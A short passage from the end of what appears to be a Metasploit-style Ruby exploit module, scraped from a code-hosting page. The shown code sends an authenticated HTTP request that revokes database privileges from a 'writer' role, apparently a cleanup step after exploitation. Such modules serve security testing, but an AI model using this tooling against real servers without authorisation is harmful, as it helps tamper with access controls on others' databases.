'vars_get' => { 'format' => 'rid,type,version,class,graph' },
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*' },
|
||||
'data' => "REVOKE #{priv} ON #{item} FROM writer"
|
||||
}
|
||||
res = send_request_raw(request_parameters)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Add table
Reference in a new issue